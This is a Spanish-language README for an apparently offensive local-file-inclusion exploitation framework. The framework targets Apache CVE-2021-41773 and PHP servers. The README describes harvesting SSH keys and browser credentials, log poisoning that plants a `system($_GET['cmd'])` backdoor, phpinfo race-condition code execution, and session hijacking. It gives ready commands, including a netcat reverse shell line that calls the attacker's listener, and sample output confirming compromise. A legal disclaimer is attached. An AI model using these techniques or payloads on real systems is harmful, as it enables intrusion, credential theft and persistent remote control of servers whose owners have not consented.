
Este programa le solicita la información de Inclusión de Archivos Locales y buscará automáticamente el /etc/passwd y, utilizando los nombres de usuarios encontrados, buscará y descargará cualquier clave SSH o variación de claves al ordenador local. Este programa también realiza el exploit de ruta traversal CVE-2021-41773_ para Apache 2.4.49 y 50. Además de otras vulnerabilidades LFI.
🔥 LFI-Destruction – Framework de Pruebas de Penetración Autorizadas
LFI-Destroyer es un framework completo y modular de explotación de Inclusión Local de Archivos (LFI) diseñado para profesionales de seguridad autorizados. Combina múltiples técnicas de ataque en una sola herramienta fácil de usar:
**Fuzzing de Artefactos SSH y del Navegador** – Busca claves SSH, Putty PPK, WinSCP, FileZilla, Firefox, Chrome, Edge y Brave credentials en Linux y Windows.
**Envenenamiento de Logs → Reverse Shell** – RCE automático a través de archivos de log escribibles con soporte de payload personalizado.
**RCE por Condición de Carrera en phpinfo()** – LFI2RCE completamente automatizado cuando `file_uploads=On` y `phpinfo()` es accesible.
**Disparador de Archivo Subido** – Incluir y ejecutar un shell PHP ya subido mediante LFI.
**Enumeración de Sesiones PHP** – Descargar y decodificar archivos de sesión para secuestro.
---
`LFI-OSCP.py`
ES la versión segura para el examen OSCP que tiene 0 auto-exploits. Básicamente es un fuzzer muy bonito que, una vez que confirma el exploit, imprime instrucciones manuales sobre cómo realizar el exploit.
---
⚠️ **AVISO LEGAL**
Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas.
Debe tener permiso explícito por escrito del propietario del sistema antes de usarla.
El acceso no autorizado a sistemas informáticos es ilegal y poco ético.
El autor no asume ninguna responsabilidad por el uso indebido o daños causados por esta herramienta.
---
📦 **Instalación**
```bash
# 1. Clonar el repositorio
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. Instalar dependencias (solo colorama es requerido; los demás son opcionales)
pip install colorama
# 3. Hacer ejecutable el script principal
chmod +x LFI-Destroyer.py
```
🚀 **Inicio Rápido – Modo 1 (Fuzzing de Artefactos SSH / Navegador)**
```bash
python3 LFI-Destroyer.py
```
Seleccione Linux o Windows.
# 📂 Estructura de Directorios
LFI-Destruction/
LFI-Destruction.py
modes/__init__.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
Elija el modo de ataque 1.
Siga las indicaciones para configurar su punto final LFI.
El script enumerará automáticamente los usuarios, verificará la existencia (Windows usa NTUSER.DAT como baliza) y realizará fuzzing recursivo en busca de claves SSH, credenciales de navegador y otros archivos sensibles.
Todos los artefactos se guardan en el directorio `./artifacts/`.
---
📝 **Modo 2 – Envenenamiento de Logs y Reverse Shell**
```bash
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
```
O ejecute de forma interactiva y seleccione el modo 2.
**Qué sucede:**
1. Inyecta un payload de prueba PHP a través del User‑Agent (o el vector elegido).
2. Intenta incluir archivos de log comunes (Apache, Nginx, SSH, logs del sistema, XAMPP/WAMP/IIS en Windows).
3. Si se encuentra un log escribible, inyecta un backdoor persistente `system($_GET['cmd'])`.
4. Confirma RCE con `id` (Linux) o `whoami` (Windows).
5. Pide un listener de reverse shell y entrega un reverse shell de bash (Linux) o PowerShell (Windows).
**Reverse shell personalizado:**
```bash
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
```
Los marcadores `{lhost}` y `{lport}` se reemplazarán con su IP/puerto del listener.
---
🧪 **BETA – Modo 3: RCE por Condición de Carrera en phpinfo()**
**Estado:** Beta – Funciona de manera confiable en servidores PHP mal configurados con `file_uploads=On` y `phpinfo()` accesible.
**Requisitos previos:**
- `file_uploads = On` (detectado automáticamente)
- `post_max_size ≥ upload_max_filesize` (detectado automáticamente)
- Vulnerabilidad LFI
- Acceso a una página `phpinfo()` (el script fuerza bruta ubicaciones comunes)
**Ejecutar:**
```bash
python3 LFI-Destroyer.py
# Seleccionar modo 3
Proporcionar detalles LFI como de costumbre
El script:
- Fuerza bruta phpinfo() (wordlist específica del SO)
- Analiza upload_max_filesize y post_max_size
- Ejecuta el ataque de condición de carrera (subida + LFI)
- Confirma RCE
- Ofrece reverse shell
```
**Ejemplo de salida:**
```text
[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.
```
---
🧪 **BETA – Modo 4: Disparador de Archivo Subido**
**Estado:** Beta – Asume que ya ha subido un shell PHP (por ejemplo, a través de otra vulnerabilidad o subida manual). El script entonces usa LFI para incluirlo y ejecutar comandos.
**Dos modos de operación:**
- **Ruta exacta** – Sabe dónde está el archivo (ej. `uploads/shell.php`).
- **Fuerza bruta** – Deje que el script intente directorios de subida comunes + nombres de archivo.
**Ejecutar:**
```bash
python3 LFI-Destroyer.py
# Seleccionar modo 4
Ingrese la ruta o 'brute'
El script:
- Intenta incluir LFI con ?cmd=whoami
- Si tiene éxito, muestra la salida y ofrece reverse shell
```
**Ejemplo:**
```text
Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y
```
---
🧪 **BETA – Modo 5: Enumeración y Secuestro de Sesiones PHP**
**Estado:** Beta – Lee archivos de sesión desde `session.save_path` (determinado mediante `phpinfo()` o wordlist de respaldo), los guarda e intenta decodificación base64 cuando es necesario.
**Ejecutar:**
```bash
python3 LFI-Destroyer.py
# Seleccionar modo 5
Proporcione el ID de sesión o 'list' para enumerar
```
**Ejemplos:**
```text
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;
```
**Listado de directorio de sesiones (si la indexación de directorios está habilitada):**
```text
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
- sess_abc123
- sess_def456
...
```
Todos los archivos de sesión se guardan en `artifacts/session_*`.
Si los datos parecen estar codificados en base64, el script intenta automáticamente el bypass `php://filter/convert.base64-decode` y guarda una versión decodificada.
---
🧠 **Modo Avanzado (`-adv`)**
Habilita técnicas LFI adicionales:
- LFI por parámetro POST
- LFI por Cookie/Cabecera
- Wrappers PHP (`php://filter`, `data://`, `expect://`)
- Wordlist personalizada para fuzzing de artefactos
- Detección automática de profundidad
```bash
python3 LFI-Destroyer.py -adv
```
---
⚙️ **Banderas de Línea de Comandos**
| Flag | Descripción |
|:---|:---|
| `--os {linux,windows}` | Forzar sistema operativo objetivo |
| `--auto-depth` | Detección automática de profundidad de traversal |
| `--wordlist FILE` | Wordlist personalizada de rutas de archivos (sobrescribe las del SO) |
| `--userlist FILE` | Lista personalizada de nombres de usuario de Windows (modo 1) |
| `--beacon-file PATH` | Archivo baliza personalizado (por defecto: NTUSER.DAT) |
| `--custom-shell CMD` | Comando personalizado de reverse shell (usar `{lhost}` y `{lport}`) |
| `--log-poisoning` | Habilitar modo 2 desde CLI (sin selección interactiva de modo) |
| `--log-vector {ua,referer,xff,header,param}` | Vector de inyección para envenenamiento de logs |
| `--log-header NAME` | Nombre de cabecera personalizado (para vector=header) |
| `--log-param NAME` | Nombre de parámetro personalizado (para vector=param) |
| `--log-files FILE` | Lista personalizada de rutas de log |
| `--rce-command CMD` | Comando de prueba para verificación de RCE |
| `--proxy URL` | Proxy HTTP (ej. `http://127.0.0.1:8080`) |
| `--rate FLOAT` | Retardo entre peticiones (segundos) |
| `--output FILE` | Guardar resultados en JSON |
| `--dry-run` | Prueba de configuración – no enviar peticiones |
| `--no-color` | Deshabilitar salida coloreada |
---
Los modos 3, 4 y 5 se cargan dinámicamente desde el directorio `modes/`.
Puede añadir fácilmente nuevos modos colocando un archivo Python con una función `run(config, fuzzer)`.
---
🧰 **Requisitos**
- Python 3.8+
- `colorama` (opcional, para salida coloreada)
- Sin otras dependencias – el script solo usa la biblioteca estándar.
---
📜 **Licencia y Autor**
Escrito por RevShellXD
Licenciado bajo la Licencia MIT – libre para profesionales de seguridad autorizados.
Para fines educativos y pruebas autorizadas únicamente.
Si infringe la ley con esta herramienta, usted es el único responsable.
---
⭐ **Estrella y Contribuye**
Si encuentra útil esta herramienta, por favor dé una estrella al repositorio en GitHub.
Las solicitudes de extracción y nuevas contribuciones de modos son bienvenidas – siga la interfaz simple del módulo en `modes/__init__.py`.